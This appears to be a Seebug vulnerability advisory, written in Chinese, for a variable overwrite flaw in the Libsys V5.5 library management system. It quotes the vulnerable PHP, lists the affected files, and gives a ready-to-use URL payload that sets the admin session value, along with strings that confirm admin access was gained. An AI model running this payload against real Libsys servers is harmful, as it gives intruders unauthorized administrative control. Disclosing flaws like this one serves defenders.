Libsys图书管理系统 V5.5 变量覆盖漏洞

2016-02-03T00:00:00
ID SSV:90722
Type seebug
Reporter Virink
Modified 2016-02-03T00:00:00

Description

登陆页面

session_start( ); if ( isset( $_REQUEST['username'] ) ) { $strUser = trim( $_REQUEST['username'] ); $strInput = trim( $_REQUEST['passwd'] ); $strMsg = "用户名或者密码错误"; switch ( $strUser ) { case "opac_admin" : $strPassWd = $strPassWdFile; $strMsg = verify_pwd( $strInput, $strPassWd ); if ( $strMsg == true ) { $_SESSION['ADMIN_USER'] = $strUser; } $strUrl = "cfg_basic.php"; break;

其他页面判断

if ( !isset( $_SESSION['ADMIN_USER'] ) )//不为空就OK了、、、 { header( "Location:login.php" ); exit( ); }

漏洞点(多个文件存在)

@extract( @$_REQUEST );

存在漏洞文件

/recm/common.php /opac/openlink_ebk.php /opac/hw_center.php /opac/ajax_ebook.php /manual/common.php /calis/idp.php /calis/idp.noencode.php /top/top_custom.php

利用方法

  1. 访问存在漏洞文件,并覆盖 session 值

    例如: /recm/common.php?_SESSION[ADMIN_USER]=opac_admin 2. 直接访问 /admin/cfg_basic.php

成功判断

访问 /admin/cfg_basic.php 文件获得strSchoolNamearyBrowseClsShow等标识字符串即为成功。